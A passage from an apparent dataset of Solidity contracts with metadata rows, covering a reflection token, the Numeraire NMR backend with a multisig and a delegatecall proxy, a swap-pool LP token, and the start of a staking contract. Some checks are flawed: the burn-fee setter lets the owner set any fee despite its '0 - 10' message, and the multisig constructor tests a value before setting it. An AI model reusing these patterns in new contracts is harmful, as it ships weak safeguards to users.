_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 , 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 92,818 | 10,851 |
a06d8bb0dd1ddd2a97dbf3dfc214f2cb0d8c609a33c89db3b2b438ce4677d305
| 18,188 |
.sol
|
Solidity
| false |
111633870
|
bokkypoobah/Tokens
|
97950a9e4915596d1ec00887c3c1812cfdb122a2
|
Mainnet-token-contracts-20180610/contracts/0x1776e1f26f98b1a5df9cd347953a26dd3cb46671-NMR-Numeraire.sol
| 4,508 | 16,520 |
pragma solidity ^0.4.11;
contract Safe {
// Check if it is safe to add two numbers
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
// Check if it is safe to subtract two numbers
function safeSubtract(uint a, uint b) internal returns (uint) {
uint c = a - b;
assert(b <= a && c <= a);
return c;
}
function safeMultiply(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || (c / a) == b);
return c;
}
function shrink128(uint a) internal returns (uint128) {
assert(a < 0x100000000000000000000000000000000);
return uint128(a);
}
// mitigate short address attack
modifier onlyPayloadSize(uint numWords) {
assert(msg.data.length == numWords * 32 + 4);
_;
}
// allow ether to be received
function () payable { }
}
// Class variables used both in NumeraireBackend and NumeraireDelegate
contract NumeraireShared is Safe {
address public numerai = this;
// Cap the total supply and the weekly supply
uint256 public supply_cap = 21000000e18; // 21 million
uint256 public weekly_disbursement = 96153846153846153846153;
uint256 public initial_disbursement;
uint256 public deploy_time;
uint256 public total_minted;
// ERC20 requires totalSupply, balanceOf, and allowance
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (uint => Tournament) public tournaments; // tournamentID
struct Tournament {
uint256 creationTime;
uint256[] roundIDs;
mapping (uint256 => Round) rounds; // roundID
}
struct Round {
uint256 creationTime;
uint256 endTime;
uint256 resolutionTime;
mapping (address => mapping (bytes32 => Stake)) stakes; // address of staker
}
// The order is important here because of its packing characteristics.
// Particularly, `amount` and `confidence` are in the *same* word, so
// Solidity can update both at the same time (if the optimizer can figure
// out that you're updating both). This makes `stake()` cheap.
struct Stake {
uint128 amount; // Once the stake is resolved, this becomes 0
uint128 confidence;
bool successful;
bool resolved;
}
// Generates a public event on the blockchain to notify clients
event Mint(uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Staked(address indexed staker, bytes32 tag, uint256 totalAmountStaked, uint256 confidence, uint256 indexed tournamentID, uint256 indexed roundID);
event RoundCreated(uint256 indexed tournamentID, uint256 indexed roundID, uint256 endTime, uint256 resolutionTime);
event TournamentCreated(uint256 indexed tournamentID);
event StakeDestroyed(uint256 indexed tournamentID, uint256 indexed roundID, address indexed stakerAddress, bytes32 tag);
event StakeReleased(uint256 indexed tournamentID, uint256 indexed roundID, address indexed stakerAddress, bytes32 tag, uint256 etherReward);
// Calculate allowable disbursement
function getMintable() constant returns (uint256) {
return
safeSubtract(safeAdd(initial_disbursement,
safeMultiply(weekly_disbursement,
safeSubtract(block.timestamp, deploy_time))
/ 1 weeks),
total_minted);
}
}
contract Shareable {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public required;
// list of owners
address[256] owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(address => uint) ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) pendings;
bytes32[] pendingsIndex;
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// MODIFIERS
address thisContract = this;
// simple single-sig function modifier.
modifier onlyOwner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlyManyOwners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// CONSTRUCTOR
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function Shareable(address[] _owners, uint _required) {
owners[1] = msg.sender;
ownerIndex[msg.sender] = 1;
for (uint i = 0; i < _owners.length; ++i) {
owners[2 + i] = _owners[i];
ownerIndex[_owners[i]] = 2 + i;
}
if (required > owners.length) throw;
required = _required;
}
// new multisig is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
// take all new owners as an array
function changeShareable(address[] _owners, uint _required) onlyManyOwners(sha3(msg.data)) {
for (uint i = 0; i < _owners.length; ++i) {
owners[1 + i] = _owners[i];
ownerIndex[_owners[i]] = 1 + i;
}
if (required > owners.length) throw;
required = _required;
}
// METHODS
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint index = ownerIndex[msg.sender];
// make sure they're an owner
if (index == 0) return;
uint ownerIndexBit = 2**index;
var pending = pendings[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return ownerIndex[_addr] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = pendings[_operation];
uint index = ownerIndex[_owner];
// make sure they're an owner
if (index == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**index;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint index = ownerIndex[msg.sender];
// make sure they're an owner
if (index == 0) return;
var pending = pendings[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = pendingsIndex.length++;
pendingsIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**index;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete pendingsIndex[pendings[_operation].index];
delete pendings[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function clearPending() internal {
uint length = pendingsIndex.length;
for (uint i = 0; i < length; ++i)
if (pendingsIndex[i] != 0)
delete pendings[pendingsIndex[i]];
delete pendingsIndex;
}
}
contract StoppableShareable is Shareable {
bool public stopped;
bool public stoppable = true;
modifier stopInEmergency { if (!stopped) _; }
modifier onlyInEmergency { if (stopped) _; }
function StoppableShareable(address[] _owners, uint _required) Shareable(_owners, _required) {
}
// called by the owner on emergency, triggers stopped state
function emergencyStop() external onlyOwner {
assert(stoppable);
stopped = true;
}
// called by the owners on end of emergency, returns to normal state
function release() external onlyManyOwners(sha3(msg.data)) {
assert(stoppable);
stopped = false;
}
// called by the owners to disable ability to begin or end an emergency stop
function disableStopping() external onlyManyOwners(sha3(msg.data)) {
stoppable = false;
}
}
contract NumeraireBackend is StoppableShareable, NumeraireShared {
address public delegateContract;
bool public contractUpgradable = true;
address[] public previousDelegates;
string public standard = "ERC20";
// ERC20 requires name, symbol, and decimals
string public name = "Numeraire";
string public symbol = "NMR";
uint256 public decimals = 18;
event DelegateChanged(address oldAddress, address newAddress);
function NumeraireBackend(address[] _owners, uint256 _num_required, uint256 _initial_disbursement) StoppableShareable(_owners, _num_required) {
totalSupply = 0;
total_minted = 0;
initial_disbursement = _initial_disbursement;
deploy_time = block.timestamp;
}
function disableContractUpgradability() onlyManyOwners(sha3(msg.data)) returns (bool) {
assert(contractUpgradable);
contractUpgradable = false;
}
function changeDelegate(address _newDelegate) onlyManyOwners(sha3(msg.data)) returns (bool) {
assert(contractUpgradable);
if (_newDelegate != delegateContract) {
previousDelegates.push(delegateContract);
var oldDelegate = delegateContract;
delegateContract = _newDelegate;
DelegateChanged(oldDelegate, _newDelegate);
return true;
}
return false;
}
function claimTokens(address _token) onlyOwner {
assert(_token != numerai);
if (_token == 0x0) {
msg.sender.transfer(this.balance);
return;
}
NumeraireBackend token = NumeraireBackend(_token);
uint256 balance = token.balanceOf(this);
token.transfer(msg.sender, balance);
}
function mint(uint256 _value) stopInEmergency returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("mint(uint256)")), _value);
}
function stake(uint256 _value, bytes32 _tag, uint256 _tournamentID, uint256 _roundID, uint256 _confidence) stopInEmergency returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("stake(uint256,bytes32,uint256,uint256,uint256)")), _value, _tag, _tournamentID, _roundID, _confidence);
}
function stakeOnBehalf(address _staker, uint256 _value, bytes32 _tag, uint256 _tournamentID, uint256 _roundID, uint256 _confidence) stopInEmergency onlyPayloadSize(6) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("stakeOnBehalf(address,uint256,bytes32,uint256,uint256,uint256)")), _staker, _value, _tag, _tournamentID, _roundID, _confidence);
}
function releaseStake(address _staker, bytes32 _tag, uint256 _etherValue, uint256 _tournamentID, uint256 _roundID, bool _successful) stopInEmergency onlyPayloadSize(6) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("releaseStake(address,bytes32,uint256,uint256,uint256,bool)")), _staker, _tag, _etherValue, _tournamentID, _roundID, _successful);
}
function destroyStake(address _staker, bytes32 _tag, uint256 _tournamentID, uint256 _roundID) stopInEmergency onlyPayloadSize(4) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("destroyStake(address,bytes32,uint256,uint256)")), _staker, _tag, _tournamentID, _roundID);
}
function numeraiTransfer(address _to, uint256 _value) onlyPayloadSize(2) returns(bool ok) {
return delegateContract.delegatecall(bytes4(sha3("numeraiTransfer(address,uint256)")), _to, _value);
}
function withdraw(address _from, address _to, uint256 _value) onlyPayloadSize(3) returns(bool ok) {
return delegateContract.delegatecall(bytes4(sha3("withdraw(address,address,uint256)")), _from, _to, _value);
}
function createTournament(uint256 _tournamentID) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("createTournament(uint256)")), _tournamentID);
}
function createRound(uint256 _tournamentID, uint256 _roundID, uint256 _endTime, uint256 _resolutionTime) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("createRound(uint256,uint256,uint256,uint256)")), _tournamentID, _roundID, _endTime, _resolutionTime);
}
function getTournament(uint256 _tournamentID) constant returns (uint256, uint256[]) {
var tournament = tournaments[_tournamentID];
return (tournament.creationTime, tournament.roundIDs);
}
function getRound(uint256 _tournamentID, uint256 _roundID) constant returns (uint256, uint256, uint256) {
var round = tournaments[_tournamentID].rounds[_roundID];
return (round.creationTime, round.endTime, round.resolutionTime);
}
function getStake(uint256 _tournamentID, uint256 _roundID, address _staker, bytes32 _tag) constant returns (uint256, uint256, bool, bool) {
var stake = tournaments[_tournamentID].rounds[_roundID].stakes[_staker][_tag];
return (stake.confidence, stake.amount, stake.successful, stake.resolved);
}
// ERC20: Send from a contract
function transferFrom(address _from, address _to, uint256 _value) stopInEmergency onlyPayloadSize(3) returns (bool ok) {
require(!isOwner(_from) && _from != numerai); // Transfering from Numerai can only be done with the numeraiTransfer function
// Check for sufficient funds.
require(balanceOf[_from] >= _value);
// Check for authorization to spend.
require(allowance[_from][msg.sender] >= _value);
balanceOf[_from] = safeSubtract(balanceOf[_from], _value);
allowance[_from][msg.sender] = safeSubtract(allowance[_from][msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
// Notify anyone listening.
Transfer(_from, _to, _value);
return true;
}
// ERC20: Anyone with NMR can transfer NMR
function transfer(address _to, uint256 _value) stopInEmergency onlyPayloadSize(2) returns (bool ok) {
// Check for sufficient funds.
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = safeSubtract(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
// Notify anyone listening.
Transfer(msg.sender, _to, _value);
return true;
}
// ERC20: Allow other contracts to spend on sender's behalf
function approve(address _spender, uint256 _value) stopInEmergency onlyPayloadSize(2) returns (bool ok) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) stopInEmergency onlyPayloadSize(3) returns (bool ok) {
require(allowance[msg.sender][_spender] == _oldValue);
allowance[msg.sender][_spender] = _newValue;
Approval(msg.sender, _spender, _newValue);
return true;
}
}
| 247,385 | 10,852 |
9e15ecf62ae4d121d9563b6b190e7d2204f8fd1a88f3c92e76e386b8aa097d6b
| 30,280 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/22/22D63A26c730d49e5Eab461E4f5De1D8BdF89C92_LPToken.sol
| 3,205 | 12,386 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IAllowlist {
function getPoolAccountLimit(address poolAddress)
external
view
returns (uint256);
function getPoolCap(address poolAddress) external view returns (uint256);
function verifyAddress(address account, bytes32[] calldata merkleProof)
external
returns (bool);
}
interface ISwap {
// pool data view functions
function getA() external view returns (uint256);
function getAllowlist() external view returns (IAllowlist);
function getToken(uint8 index) external view returns (IERC20);
function getTokenIndex(address tokenAddress) external view returns (uint8);
function getTokenBalance(uint8 index) external view returns (uint256);
function getVirtualPrice() external view returns (uint256);
function isGuarded() external view returns (bool);
// min return calculation functions
function calculateSwap(uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx) external view returns (uint256);
function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external
view
returns (uint256);
function calculateRemoveLiquidity(uint256 amount)
external
view
returns (uint256[] memory);
function calculateRemoveLiquidityOneToken(uint256 tokenAmount,
uint8 tokenIndex) external view returns (uint256 availableTokenAmount);
// state modifying functions
function initialize(IERC20[] memory pooledTokens,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 a,
uint256 fee,
uint256 adminFee,
uint256 withdrawFee) external;
function swap(uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy,
uint256 deadline) external returns (uint256);
function addLiquidity(uint256[] calldata amounts,
uint256 minToMint,
uint256 deadline) external returns (uint256);
function removeLiquidity(uint256 amount,
uint256[] calldata minAmounts,
uint256 deadline) external returns (uint256[] memory);
function removeLiquidityOneToken(uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount,
uint256 deadline) external returns (uint256);
function removeLiquidityImbalance(uint256[] calldata amounts,
uint256 maxBurnAmount,
uint256 deadline) external returns (uint256);
// withdraw fee update function
function updateUserWithdrawFee(address recipient, uint256 transferAmount)
external;
}
contract LPToken is ERC20Burnable, Ownable {
using SafeMath for uint256;
// they receive a proportionate amount of this LPToken.
ISwap public swap;
constructor(string memory name_,
string memory symbol_,
uint8 decimals_) public ERC20(name_, symbol_) {
_setupDecimals(decimals_);
swap = ISwap(_msgSender());
}
function mint(address recipient, uint256 amount) external onlyOwner {
require(amount != 0, "amount == 0");
_mint(recipient, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal override(ERC20) {
super._beforeTokenTransfer(from, to, amount);
swap.updateUserWithdrawFee(to, amount);
}
}
| 152,794 | 10,853 |
aea1f60df34b0eadb3f46635a9811210e79b37f273bb1665c6af82e35e2f69d6
| 27,669 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b9/b9e048795d6DD76703fa09967AE5719d0542243F_TyyStaking.sol
| 4,278 | 17,064 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
